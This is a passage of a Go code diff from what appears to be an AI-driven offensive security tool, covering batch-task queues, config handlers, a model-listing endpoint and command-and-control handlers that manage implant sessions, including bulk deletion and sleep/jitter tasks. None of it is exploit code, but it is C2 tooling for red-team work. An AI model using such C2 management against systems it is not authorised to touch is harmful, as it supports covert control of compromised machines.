h.logger.Info("单条执行完成,队列已暂停", zap.String("queueId", queueID), zap.String("taskId", task.ID))
break
}
// 检查是否被取消或暂停 // 检查是否被取消或暂停
queue, _ = h.batchTaskManager.GetBatchQueue(queueID) queue, _ = h.batchTaskManager.GetBatchQueue(queueID)
if queue.Status == "cancelled" || queue.Status == "paused" { if queue.Status == "cancelled" || queue.Status == "paused" {
@@ -3,10 +3,14 @@ package handler
import ( import (
"context" "context"
"fmt" "fmt"
"os"
"path/filepath"
"sync" "sync"
"testing" "testing"
"cyberstrike-ai/internal/config" "cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/openai"
"go.uber.org/zap" "go.uber.org/zap"
) )
@@ -46,3 +50,50 @@ func TestCreateProgressCallback_ConcurrentToolEvents(t *testing.T) {
} }
wg.Wait() wg.Wait()
} }
// TestCreateProgressCallback_FlushesReasoningOnDone 流式推理聚合须在 done/response 时落库,刷新后可回放。
func TestCreateProgressCallback_FlushesReasoningOnDone(t *testing.T) {
tmp := t.TempDir()
db, err := database.NewDB(filepath.Join(tmp, "test.sqlite"), zap.NewNop())
if err != nil {
t.Fatalf("NewDB: %v", err)
}
defer os.RemoveAll(tmp)
conv, err := db.CreateConversation("test", database.ConversationCreateMeta{})
if err != nil {
t.Fatalf("CreateConversation: %v", err)
}
asst, err := db.AddMessage(conv.ID, "assistant", "处理中...", nil)
if err != nil {
t.Fatalf("AddMessage: %v", err)
}
h := &AgentHandler{logger: zap.NewNop(), db: db}
cb := h.createProgressCallback(context.Background(), nil, conv.ID, asst.ID, nil)
streamID := "eino-reasoning-test-1"
cb("reasoning_chain_stream_start", " ", map[string]interface{}{
"streamId": streamID,
"source": "eino",
})
cb("reasoning_chain_stream_delta", "step one", openai.WithSSEAccumulated(map[string]interface{}{
"streamId": streamID,
}, "step one"))
cb("done", "", map[string]interface{}{"conversationId": conv.ID})
details, err := db.GetProcessDetails(asst.ID)
if err != nil {
t.Fatalf("GetProcessDetails: %v", err)
}
found := false
for _, d := range details {
if d.EventType == "reasoning_chain" && d.Message == "step one" {
found = true
break
}
}
if !found {
t.Fatalf("expected reasoning_chain persisted on done, got %+v", details)
}
}
+2 -3
View File
@@ -2,7 +2,6 @@ package handler
import ( import (
"strconv" "strconv"
"time"
"cyberstrike-ai/internal/database" "cyberstrike-ai/internal/database"
@@ -20,12 +19,12 @@ func auditFilterFromQuery(c *gin.Context) database.ListAuditLogsFilter {
ResourceID: c.Query("resource_id"), ResourceID: c.Query("resource_id"),
} }
if since := c.Query("since"); since != "" { if since := c.Query("since"); since != "" {
if t, err := time.Parse(time.RFC3339, since); err == nil { if t, err := database.ParseRFC3339Time(since); err == nil {
filter.Since = &t filter.Since = &t
} }
} }
if until := c.Query("until"); until != "" { if until := c.Query("until"); until != "" {
if t, err := time.Parse(time.RFC3339, until); err == nil { if t, err := database.ParseRFC3339Time(until); err == nil {
filter.Until = &t filter.Until = &t
} }
} }
+161 -8
View File
@@ -77,11 +77,12 @@ type BatchTaskQueue struct {
// BatchTaskManager 批量任务管理器 // BatchTaskManager 批量任务管理器
type BatchTaskManager struct { type BatchTaskManager struct {
db *database.DB db *database.DB
logger *zap.Logger logger *zap.Logger
queues map[string]*BatchTaskQueue queues map[string]*BatchTaskQueue
taskCancels map[string]context.CancelFunc // 存储每个队列当前任务的取消函数 taskCancels map[string]context.CancelFunc // 存储每个队列当前任务的取消函数
mu sync.RWMutex singleRunTasks map[string]string // queueID -> taskID,单条执行完成后暂停队列
mu sync.RWMutex
} }
// NewBatchTaskManager 创建批量任务管理器 // NewBatchTaskManager 创建批量任务管理器
@@ -90,9 +91,10 @@ func NewBatchTaskManager(logger *zap.Logger) *BatchTaskManager {
logger = zap.NewNop() logger = zap.NewNop()
} }
return &BatchTaskManager{ return &BatchTaskManager{
logger: logger, logger: logger,
queues: make(map[string]*BatchTaskQueue), queues: make(map[string]*BatchTaskQueue),
taskCancels: make(map[string]context.CancelFunc), taskCancels: make(map[string]context.CancelFunc),
singleRunTasks: make(map[string]string),
} }
} }
@@ -864,6 +866,138 @@ func (m *BatchTaskManager) AddTaskToQueue(queueID, message string) (*BatchTask,
return task, nil return task, nil
} }
// PrepareSingleTaskRun 准备单条执行:重置目标任务(若已有结果)并定位队列索引
func (m *BatchTaskManager) PrepareSingleTaskRun(queueID, taskID string) error {
var cancelFunc context.CancelFunc
var siblingRunningIDs []string
m.mu.Lock()
queue, exists := m.queues[queueID]
if !exists {
m.mu.Unlock()
return fmt.Errorf("队列不存在")
}
var task *BatchTask
taskIndex := -1
for i, t := range queue.Tasks {
if t.ID == taskID {
taskIndex = i
task = t
break
}
}
if task == nil {
m.mu.Unlock()
return fmt.Errorf("任务不存在")
}
if !queueAllowsSingleTaskRunLocked(queue, task) {
m.mu.Unlock()
return fmt.Errorf("队列正在执行或未就绪,无法单条执行")
}
// 暂停态:中止在途子任务并收口仍标记 running 的其它子任务,以便单条执行非冲突项
if queue.Status == BatchQueueStatusPaused {
if c, ok := m.taskCancels[queueID]; ok {
cancelFunc = c
delete(m.taskCancels, queueID)
}
for _, t := range queue.Tasks {
if t != nil && t.ID != taskID && t.Status == BatchTaskStatusRunning {
siblingRunningIDs = append(siblingRunningIDs, t.ID)
}
}
}
needsReset := task.Status != BatchTaskStatusPending
resumeQueue := queue.Status == BatchQueueStatusCompleted || queue.Status == BatchQueueStatusCancelled
m.mu.Unlock()
if cancelFunc != nil {
cancelFunc()
}
const staleRunMsg = "为单条执行其它任务,已中止"
for _, sid := range siblingRunningIDs {
m.UpdateTaskStatus(queueID, sid, BatchTaskStatusCancelled, "", staleRunMsg)
}
m.mu.Lock()
defer m.mu.Unlock()
queue, exists = m.queues[queueID]
if !exists {
return fmt.Errorf("队列不存在")
}
task = nil
taskIndex = -1
for i, t := range queue.Tasks {
if t.ID == taskID {
taskIndex = i
task = t
break
}
}
if task == nil {
return fmt.Errorf("任务不存在")
}
if m.db != nil {
if err := m.db.PrepareBatchSingleTaskRun(queueID, taskID, taskIndex, needsReset, resumeQueue); err != nil {
return fmt.Errorf("准备单条执行失败: %w", err)
}
}
if needsReset {
task.Status = BatchTaskStatusPending
task.ConversationID = ""
task.StartedAt = nil
task.CompletedAt = nil
task.Error = ""
task.Result = ""
}
queue.CurrentIndex = taskIndex
queue.LastRunError = ""
if resumeQueue {
queue.Status = BatchQueueStatusPaused
queue.CompletedAt = nil
}
return nil
}
// SetSingleRunTask 标记队列仅执行指定子任务,完成后自动暂停
func (m *BatchTaskManager) SetSingleRunTask(queueID, taskID string) {
m.mu.Lock()
defer m.mu.Unlock()
if m.singleRunTasks == nil {
m.singleRunTasks = make(map[string]string)
}
m.singleRunTasks[queueID] = taskID
}
// ClearSingleRunTask 清除单条执行标记
func (m *BatchTaskManager) ClearSingleRunTask(queueID string) {
m.mu.Lock()
defer m.mu.Unlock()
delete(m.singleRunTasks, queueID)
}
// TakeSingleRunTaskIfMatch 若刚完成的子任务为单条执行目标,则清除标记并返回 true
func (m *BatchTaskManager) TakeSingleRunTaskIfMatch(queueID, taskID string) bool {
m.mu.Lock()
defer m.mu.Unlock()
if m.singleRunTasks == nil {
return false
}
if m.singleRunTasks[queueID] != taskID {
return false
}
delete(m.singleRunTasks, queueID)
return true
}
// DeleteTask 删除任务(队列空闲时可删;执行中任务不可删) // DeleteTask 删除任务(队列空闲时可删;执行中任务不可删)
func (m *BatchTaskManager) DeleteTask(queueID, taskID string) error { func (m *BatchTaskManager) DeleteTask(queueID, taskID string) error {
m.mu.Lock() m.mu.Lock()
@@ -936,6 +1070,25 @@ func queueAllowsTaskListMutationLocked(queue *BatchTaskQueue) bool {
} }
} }
// queueAllowsSingleTaskRunLocked 是否允许对指定子任务发起单条执行(必须在持有 BatchTaskManager.mu 下调用)
func queueAllowsSingleTaskRunLocked(queue *BatchTaskQueue, task *BatchTask) bool {
if queue == nil || task == nil {
return false
}
if task.Status == BatchTaskStatusRunning {
return false
}
if queue.Status == BatchQueueStatusRunning {
return false
}
switch queue.Status {
case BatchQueueStatusPending, BatchQueueStatusPaused, BatchQueueStatusCompleted, BatchQueueStatusCancelled:
return true
default:
return false
}
}
// GetNextTask 获取下一个待执行的任务 // GetNextTask 获取下一个待执行的任务
func (m *BatchTaskManager) GetNextTask(queueID string) (*BatchTask, bool) { func (m *BatchTaskManager) GetNextTask(queueID string) (*BatchTask, bool) {
m.mu.Lock() m.mu.Lock()
+58 -3
View File
@@ -1,6 +1,7 @@
package handler package handler
import ( import (
"database/sql"
"encoding/json" "encoding/json"
"errors" "errors"
"fmt" "fmt"
@@ -277,6 +278,9 @@ func (h *C2Handler) ListSessions(c *gin.Context) {
filter.Limit = n filter.Limit = n
} }
} }
if c.Query("suspicious") == "1" || strings.EqualFold(c.Query("suspicious"), "true") {
filter.Suspicious = true
}
sessions, err := h.mgr().DB().ListC2Sessions(filter) sessions, err := h.mgr().DB().ListC2Sessions(filter)
if err != nil { if err != nil {
@@ -324,7 +328,37 @@ func (h *C2Handler) DeleteSession(c *gin.Context) {
c.JSON(http.StatusOK, gin.H{"deleted": true}) c.JSON(http.StatusOK, gin.H{"deleted": true})
} }
// SetSessionSleep 设置会话的 sleep/jitter // DeleteSessions 批量删除会话(请求体 JSON: {"ids":["s_xxx",...]}
func (h *C2Handler) DeleteSessions(c *gin.Context) {
var req struct {
IDs []string `json:"ids"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid json: " + err.Error()})
return
}
if len(req.IDs) == 0 {
c.JSON(http.StatusBadRequest, gin.H{"error": "ids is required"})
return
}
n, err := h.mgr().DB().DeleteC2SessionsByIDs(req.IDs)
if err != nil {
if errors.Is(err, database.ErrNoValidC2SessionIDs) {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if h.audit != nil {
h.audit.RecordOK(c, "c2", "session_delete", "批量删除 C2 会话", "c2_session", "", map[string]interface{}{
"count": n, "ids": req.IDs,
})
}
c.JSON(http.StatusOK, gin.H{"deleted": n})
}
// SetSessionSleep 设置会话的 sleep/jitter,并下发 sleep 任务到植入体
func (h *C2Handler) SetSessionSleep(c *gin.Context) { func (h *C2Handler) SetSessionSleep(c *gin.Context) {
id := c.Param("id") id := c.Param("id")
var req struct { var req struct {
@@ -335,12 +369,33 @@ func (h *C2Handler) SetSessionSleep(c *gin.Context) {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return return
} }
if req.SleepSeconds < 1 {
c.JSON(http.StatusBadRequest, gin.H{"error": "sleep_seconds must be >= 1"})
return
}
if req.JitterPercent < 0 || req.JitterPercent > 100 {
c.JSON(http.StatusBadRequest, gin.H{"error": "jitter_percent must be 0-100"})
return
}
if err := h.mgr().DB().SetC2SessionSleep(id, req.SleepSeconds, req.JitterPercent); err != nil { task, err := h.mgr().SetSessionSleep(id, req.SleepSeconds, req.JitterPercent)
if err != nil {
if errors.Is(err, sql.ErrNoRows) {
c.JSON(http.StatusNotFound, gin.H{"error": "session not found"})
return
}
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return return
} }
c.JSON(http.StatusOK, gin.H{"updated": true}) out := gin.H{
"updated": true,
"sleep_seconds": req.SleepSeconds,
"jitter_percent": req.JitterPercent,
}
if task != nil {
out["task_id"] = task.ID
}
c.JSON(http.StatusOK, out)
} }
// ============================================================================ // ============================================================================
+182 -71
View File
@@ -298,7 +298,7 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
} }
} }
// 获取外部MCP工具 // 获取外部MCP工具(走缓存,持锁期间通常不阻塞)
if h.externalMCPMgr != nil { if h.externalMCPMgr != nil {
ctx := context.Background() ctx := context.Background()
externalTools := h.getExternalMCPTools(ctx) externalTools := h.getExternalMCPTools(ctx)
@@ -359,9 +359,6 @@ type GetToolsResponse struct {
// GetTools 获取工具列表(支持分页和搜索) // GetTools 获取工具列表(支持分页和搜索)
func (h *ConfigHandler) GetTools(c *gin.Context) { func (h *ConfigHandler) GetTools(c *gin.Context) {
h.mu.RLock()
defer h.mu.RUnlock()
c.Header("Cache-Control", "no-store, no-cache, must-revalidate") c.Header("Cache-Control", "no-store, no-cache, must-revalidate")
// 解析分页参数 // 解析分页参数
@@ -407,12 +404,37 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
} }
} }
includeExternal := true
if v := strings.TrimSpace(strings.ToLower(c.Query("include_external"))); v == "0" || v == "false" || v == "no" {
includeExternal = false
}
refreshExternal := false
if v := strings.TrimSpace(strings.ToLower(c.Query("refresh_external"))); v == "1" || v == "true" || v == "yes" {
refreshExternal = true
}
// 按外部 MCP 名称筛选(MCP 管理页左侧卡片 → 右侧工具列表联动)
externalMCPFilter := strings.TrimSpace(c.Query("external_mcp"))
// 快照配置后立即释放锁,避免外部 MCP 网络 IO 阻塞整个配置子系统
h.mu.RLock()
securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
roles := h.config.Roles
toolDescriptionMode := h.config.Security.ToolDescriptionMode
mcpServer := h.mcpServer
externalMCPMgr := h.externalMCPMgr
h.mu.RUnlock()
pickDesc := func(shortDesc, fullDesc string) string {
return pickToolDescriptionWithMode(toolDescriptionMode, shortDesc, fullDesc)
}
// 解析角色参数,用于过滤工具并标注启用状态 // 解析角色参数,用于过滤工具并标注启用状态
roleName := c.Query("role") roleName := c.Query("role")
var roleToolsSet map[string]bool // 角色配置的工具集合 var roleToolsSet map[string]bool // 角色配置的工具集合
var roleUsesAllTools bool = true // 角色是否使用所有工具(默认角色) var roleUsesAllTools bool = true // 角色是否使用所有工具(默认角色)
if roleName != "" && roleName != "默认" && h.config.Roles != nil { if roleName != "" && roleName != "默认" && roles != nil {
if role, exists := h.config.Roles[roleName]; exists && role.Enabled { if role, exists := roles[roleName]; exists && role.Enabled {
if len(role.Tools) > 0 { if len(role.Tools) > 0 {
// 角色配置了工具列表,只使用这些工具 // 角色配置了工具列表,只使用这些工具
roleToolsSet = make(map[string]bool) roleToolsSet = make(map[string]bool)
@@ -426,12 +448,12 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
// 获取所有内部工具并应用搜索过滤 // 获取所有内部工具并应用搜索过滤
configToolMap := make(map[string]bool) configToolMap := make(map[string]bool)
allTools := make([]ToolConfigInfo, 0, len(h.config.Security.Tools)) allTools := make([]ToolConfigInfo, 0, len(securityTools))
for _, tool := range h.config.Security.Tools { for _, tool := range securityTools {
configToolMap[tool.Name] = true configToolMap[tool.Name] = true
toolInfo := ToolConfigInfo{ toolInfo := ToolConfigInfo{
Name: tool.Name, Name: tool.Name,
Description: h.pickToolDescription(tool.ShortDescription, tool.Description), Description: pickDesc(tool.ShortDescription, tool.Description),
Enabled: tool.Enabled, Enabled: tool.Enabled,
IsExternal: false, IsExternal: false,
} }
@@ -479,15 +501,15 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
} }
// 从MCP服务器获取所有已注册的工具(包括直接注册的工具,如知识检索工具) // 从MCP服务器获取所有已注册的工具(包括直接注册的工具,如知识检索工具)
if h.mcpServer != nil { if mcpServer != nil {
mcpTools := h.mcpServer.GetAllTools() mcpTools := mcpServer.GetAllTools()
for _, mcpTool := range mcpTools { for _, mcpTool := range mcpTools {
// 跳过已经在配置文件中的工具(避免重复) // 跳过已经在配置文件中的工具(避免重复)
if configToolMap[mcpTool.Name] { if configToolMap[mcpTool.Name] {
continue continue
} }
description := h.pickToolDescription(mcpTool.ShortDescription, mcpTool.Description) description := pickDesc(mcpTool.ShortDescription, mcpTool.Description)
toolInfo := ToolConfigInfo{ toolInfo := ToolConfigInfo{
Name: mcpTool.Name, Name: mcpTool.Name,
@@ -534,11 +556,13 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
} }
} }
// 获取外部MCP工具 // 获取外部MCP工具(可走缓存,不持有 config 锁)
if h.externalMCPMgr != nil { if includeExternal && externalMCPMgr != nil {
// 创建context用于获取外部工具 if refreshExternal {
externalMCPMgr.InvalidateAllToolCaches()
}
ctx := context.Background() ctx := context.Background()
externalTools := h.getExternalMCPTools(ctx) externalTools := h.getExternalMCPToolsWithManager(ctx, externalMCPMgr, pickDesc)
// 应用搜索过滤和角色配置 // 应用搜索过滤和角色配置
for _, toolInfo := range externalTools { for _, toolInfo := range externalTools {
@@ -585,6 +609,16 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
// 注意:这里我们不直接过滤掉工具,而是保留所有工具,但通过 role_enabled 字段标注状态 // 注意:这里我们不直接过滤掉工具,而是保留所有工具,但通过 role_enabled 字段标注状态
// 这样前端可以显示所有工具,并标注哪些工具在当前角色中可用 // 这样前端可以显示所有工具,并标注哪些工具在当前角色中可用
if externalMCPFilter != "" {
filtered := make([]ToolConfigInfo, 0)
for _, tool := range allTools {
if tool.IsExternal && tool.ExternalMCP == externalMCPFilter {
filtered = append(filtered, tool)
}
}
allTools = filtered
}
// 统一按名称排序后再分页,避免配置文件中顺序导致「全部」与「仅已启用」前几页看起来完全一致 // 统一按名称排序后再分页,避免配置文件中顺序导致「全部」与「仅已启用」前几页看起来完全一致
sort.SliceStable(allTools, func(i, j int) bool { sort.SliceStable(allTools, func(i, j int) bool {
key := func(t ToolConfigInfo) string { key := func(t ToolConfigInfo) string {
@@ -654,11 +688,9 @@ type UpdateConfigRequest struct {
// AgentConfigUpdate 用于 PATCH /api/config 的 agent 段:仅 JSON 中出现的字段(指针非 nil)覆盖内存配置。 // AgentConfigUpdate 用于 PATCH /api/config 的 agent 段:仅 JSON 中出现的字段(指针非 nil)覆盖内存配置。
// 避免旧版「整包替换 *AgentConfig」时,未传的整型字段被反序列化为 0 误覆盖(例如 tool_timeout_minutes 变成 0)。 // 避免旧版「整包替换 *AgentConfig」时,未传的整型字段被反序列化为 0 误覆盖(例如 tool_timeout_minutes 变成 0)。
type AgentConfigUpdate struct { type AgentConfigUpdate struct {
MaxIterations *int `json:"max_iterations,omitempty"` MaxIterations *int `json:"max_iterations,omitempty"`
LargeResultThreshold *int `json:"large_result_threshold,omitempty"` ToolTimeoutMinutes *int `json:"tool_timeout_minutes,omitempty"`
ResultStorageDir *string `json:"result_storage_dir,omitempty"` SystemPromptPath *string `json:"system_prompt_path,omitempty"`
ToolTimeoutMinutes *int `json:"tool_timeout_minutes,omitempty"`
SystemPromptPath *string `json:"system_prompt_path,omitempty"`
} }
func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) { func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
@@ -668,12 +700,6 @@ func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
if src.MaxIterations != nil { if src.MaxIterations != nil {
dst.MaxIterations = *src.MaxIterations dst.MaxIterations = *src.MaxIterations
} }
if src.LargeResultThreshold != nil {
dst.LargeResultThreshold = *src.LargeResultThreshold
}
if src.ResultStorageDir != nil {
dst.ResultStorageDir = *src.ResultStorageDir
}
if src.ToolTimeoutMinutes != nil { if src.ToolTimeoutMinutes != nil {
dst.ToolTimeoutMinutes = *src.ToolTimeoutMinutes dst.ToolTimeoutMinutes = *src.ToolTimeoutMinutes
} }
@@ -1042,6 +1068,80 @@ func (h *ConfigHandler) TestOpenAI(c *gin.Context) {
}) })
} }
// ListModelsRequest 获取模型列表请求(OpenAI 兼容 GET /models)。
type ListModelsRequest struct {
Provider string `json:"provider"`
BaseURL string `json:"base_url"`
APIKey string `json:"api_key"`
}
// ListModels 代理调用上游 GET /models,返回可用模型 id 列表。
func (h *ConfigHandler) ListModels(c *gin.Context) {
var req ListModelsRequest
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "无效的请求参数: " + err.Error()})
return
}
provider := strings.TrimSpace(req.Provider)
if provider == "" {
provider = "openai"
}
if strings.EqualFold(provider, "claude") {
c.JSON(http.StatusOK, gin.H{
"success": false,
"supported": false,
"error": "Claude (Anthropic Messages API) 不支持自动获取模型列表,请手动填写",
})
return
}
if strings.TrimSpace(req.APIKey) == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "API Key 不能为空"})
return
}
baseURL := strings.TrimSuffix(strings.TrimSpace(req.BaseURL), "/")
if baseURL == "" {
baseURL = "https://api.openai.com/v1"
}
tmpCfg := &config.OpenAIConfig{
Provider: provider,
BaseURL: baseURL,
APIKey: strings.TrimSpace(req.APIKey),
}
client := openai.NewClient(tmpCfg, nil, h.logger)
ctx, cancel := context.WithTimeout(c.Request.Context(), 30*time.Second)
defer cancel()
models, err := client.ListModels(ctx)
if err != nil {
if apiErr, ok := err.(*openai.APIError); ok {
c.JSON(http.StatusOK, gin.H{
"success": false,
"supported": true,
"error": fmt.Sprintf("API 返回错误 (HTTP %d): %s", apiErr.StatusCode, apiErr.Body),
})
return
}
c.JSON(http.StatusOK, gin.H{
"success": false,
"supported": true,
"error": err.Error(),
})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"supported": true,
"models": models,
"count": len(models),
})
}
// TestVisionRequest 测试 Vision 模型连接;vision.api_key/base_url 留空时可传 openai 段作回退。 // TestVisionRequest 测试 Vision 模型连接;vision.api_key/base_url 留空时可传 openai 段作回退。
type TestVisionRequest struct { type TestVisionRequest struct {
Vision config.VisionConfig `json:"vision"` Vision config.VisionConfig `json:"vision"`
@@ -1498,8 +1598,6 @@ func updateAgentConfig(doc *yaml.Node, agent config.AgentConfig) {
agentNode := ensureMap(root, "agent") agentNode := ensureMap(root, "agent")
setIntInMap(agentNode, "max_iterations", agent.MaxIterations) setIntInMap(agentNode, "max_iterations", agent.MaxIterations)
setIntInMap(agentNode, "tool_timeout_minutes", agent.ToolTimeoutMinutes) setIntInMap(agentNode, "tool_timeout_minutes", agent.ToolTimeoutMinutes)
setIntInMap(agentNode, "large_result_threshold", agent.LargeResultThreshold)
setStringInMap(agentNode, "result_storage_dir", agent.ResultStorageDir)
setStringInMap(agentNode, "system_prompt_path", agent.SystemPromptPath) setStringInMap(agentNode, "system_prompt_path", agent.SystemPromptPath)
} }
@@ -1906,50 +2004,52 @@ func setFloatInMap(mapNode *yaml.Node, key string, value float64) {
} }
// getExternalMCPTools 获取外部MCP工具列表(公共方法) // getExternalMCPTools 获取外部MCP工具列表(公共方法)
// 返回 ToolConfigInfo 列表,已处理启用状态和描述信息
func (h *ConfigHandler) getExternalMCPTools(ctx context.Context) []ToolConfigInfo { func (h *ConfigHandler) getExternalMCPTools(ctx context.Context) []ToolConfigInfo {
var result []ToolConfigInfo
if h.externalMCPMgr == nil { if h.externalMCPMgr == nil {
return nil
}
return h.getExternalMCPToolsWithManager(ctx, h.externalMCPMgr, h.pickToolDescription)
}
// getExternalMCPToolsWithManager 获取外部 MCP 工具(不持有 config 锁,供 GetTools 等热路径使用)
func (h *ConfigHandler) getExternalMCPToolsWithManager(
ctx context.Context,
mgr *mcp.ExternalMCPManager,
pickDesc func(shortDesc, fullDesc string) string,
) []ToolConfigInfo {
var result []ToolConfigInfo
if mgr == nil {
return result return result
} }
// 使用较短的超时时间(5秒)进行快速失败,避免阻塞页面加载
timeoutCtx, cancel := context.WithTimeout(ctx, 5*time.Second) timeoutCtx, cancel := context.WithTimeout(ctx, 5*time.Second)
defer cancel() defer cancel()
externalTools, err := h.externalMCPMgr.GetAllTools(timeoutCtx) externalTools, err := mgr.GetAllTools(timeoutCtx)
if err != nil { if err != nil {
// 记录警告但不阻塞,继续返回已缓存的工具(如果有)
h.logger.Warn("获取外部MCP工具失败(可能连接断开),尝试返回缓存的工具", h.logger.Warn("获取外部MCP工具失败(可能连接断开),尝试返回缓存的工具",
zap.Error(err), zap.Error(err),
zap.String("hint", "如果外部MCP工具未显示,请检查连接状态或点击刷新按钮"), zap.String("hint", "如果外部MCP工具未显示,请检查连接状态或点击刷新按钮"),
) )
} }
// 如果获取到了工具(即使有错误),继续处理
if len(externalTools) == 0 { if len(externalTools) == 0 {
return result return result
} }
externalMCPConfigs := h.externalMCPMgr.GetConfigs() externalMCPConfigs := mgr.GetConfigs()
for _, externalTool := range externalTools { for _, externalTool := range externalTools {
// 解析工具名称:mcpName::toolName
mcpName, actualToolName := h.parseExternalToolName(externalTool.Name) mcpName, actualToolName := h.parseExternalToolName(externalTool.Name)
if mcpName == "" || actualToolName == "" { if mcpName == "" || actualToolName == "" {
continue // 跳过格式不正确的工具 continue
} }
// 计算启用状态 enabled := h.calculateExternalToolEnabledWithManager(mcpName, actualToolName, externalMCPConfigs, mgr)
enabled := h.calculateExternalToolEnabled(mcpName, actualToolName, externalMCPConfigs)
// 处理描述信息
description := h.pickToolDescription(externalTool.ShortDescription, externalTool.Description)
result = append(result, ToolConfigInfo{ result = append(result, ToolConfigInfo{
Name: actualToolName, Name: actualToolName,
Description: description, Description: pickDesc(externalTool.ShortDescription, externalTool.Description),
Enabled: enabled, Enabled: enabled,
IsExternal: true, IsExternal: true,
ExternalMCP: mcpName, ExternalMCP: mcpName,
@@ -1970,40 +2070,48 @@ func (h *ConfigHandler) parseExternalToolName(fullName string) (mcpName, toolNam
// calculateExternalToolEnabled 计算外部工具的启用状态 // calculateExternalToolEnabled 计算外部工具的启用状态
func (h *ConfigHandler) calculateExternalToolEnabled(mcpName, toolName string, configs map[string]config.ExternalMCPServerConfig) bool { func (h *ConfigHandler) calculateExternalToolEnabled(mcpName, toolName string, configs map[string]config.ExternalMCPServerConfig) bool {
return h.calculateExternalToolEnabledWithManager(mcpName, toolName, configs, h.externalMCPMgr)
}
func (h *ConfigHandler) calculateExternalToolEnabledWithManager(
mcpName, toolName string,
configs map[string]config.ExternalMCPServerConfig,
mgr *mcp.ExternalMCPManager,
) bool {
cfg, exists := configs[mcpName] cfg, exists := configs[mcpName]
if !exists { if !exists {
return false return false
} }
// 首先检查外部MCP是否启用
if !cfg.ExternalMCPEnable { if !cfg.ExternalMCPEnable {
return false // MCP未启用,所有工具都禁用 return false
} }
// MCP已启用,检查单个工具的启用状态 if cfg.ToolEnabled != nil {
// 如果ToolEnabled为空或未设置该工具,默认为启用(向后兼容) if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists && !toolEnabled {
if cfg.ToolEnabled == nil {
// 未设置工具状态,默认为启用
} else if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists {
// 使用配置的工具状态
if !toolEnabled {
return false return false
} }
} }
// 工具未在配置中,默认为启用
// 最后检查外部MCP是否已连接 if mgr == nil {
client, exists := h.externalMCPMgr.GetClient(mcpName) return false
}
client, exists := mgr.GetClient(mcpName)
if !exists || !client.IsConnected() { if !exists || !client.IsConnected() {
return false // 未连接时视为禁用 return false
} }
return true return true
} }
// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度 // pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度
// 调用方若已持有 h.mu 读锁,须直接读 mode 并调用 pickToolDescriptionWithMode,避免嵌套 RLock 死锁。
func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string { func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
useFull := strings.TrimSpace(strings.ToLower(h.config.Security.ToolDescriptionMode)) == "full" return pickToolDescriptionWithMode(h.config.Security.ToolDescriptionMode, shortDesc, fullDesc)
}
func pickToolDescriptionWithMode(mode, shortDesc, fullDesc string) string {
useFull := strings.TrimSpace(strings.ToLower(mode)) == "full"
description := shortDesc description := shortDesc
if useFull { if useFull {
description = fullDesc description = fullDesc
@@ -2018,23 +2126,22 @@ func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
// GetToolSchema 获取单个工具的 inputSchema(按需加载,避免列表接口返回大量 schema 数据) // GetToolSchema 获取单个工具的 inputSchema(按需加载,避免列表接口返回大量 schema 数据)
func (h *ConfigHandler) GetToolSchema(c *gin.Context) { func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
h.mu.RLock()
defer h.mu.RUnlock()
toolName := c.Param("name") toolName := c.Param("name")
if toolName == "" { if toolName == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "工具名称不能为空"}) c.JSON(http.StatusBadRequest, gin.H{"error": "工具名称不能为空"})
return return
} }
// 检查是否为外部工具(格式:mcpName::toolName
externalMCP := c.Query("external_mcp") externalMCP := c.Query("external_mcp")
if externalMCP != "" { if externalMCP != "" {
// 外部 MCP 工具 h.mu.RLock()
if h.externalMCPMgr != nil { externalMCPMgr := h.externalMCPMgr
h.mu.RUnlock()
if externalMCPMgr != nil {
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel() defer cancel()
externalTools, _ := h.externalMCPMgr.GetAllTools(ctx) externalTools, _ := externalMCPMgr.GetAllTools(ctx)
fullName := externalMCP + "::" + toolName fullName := externalMCP + "::" + toolName
for _, t := range externalTools { for _, t := range externalTools {
if t.Name == fullName { if t.Name == fullName {
@@ -2047,8 +2154,12 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
return return
} }
// 内部工具:从 YAML 配置的 Parameters 构建 h.mu.RLock()
for _, tool := range h.config.Security.Tools { securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
mcpServer := h.mcpServer
h.mu.RUnlock()
for _, tool := range securityTools {
if tool.Name == toolName { if tool.Name == toolName {
c.JSON(http.StatusOK, gin.H{"input_schema": buildInputSchemaFromParams(tool.Parameters)}) c.JSON(http.StatusOK, gin.H{"input_schema": buildInputSchemaFromParams(tool.Parameters)})
return return
@@ -2056,8 +2167,8 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
} }
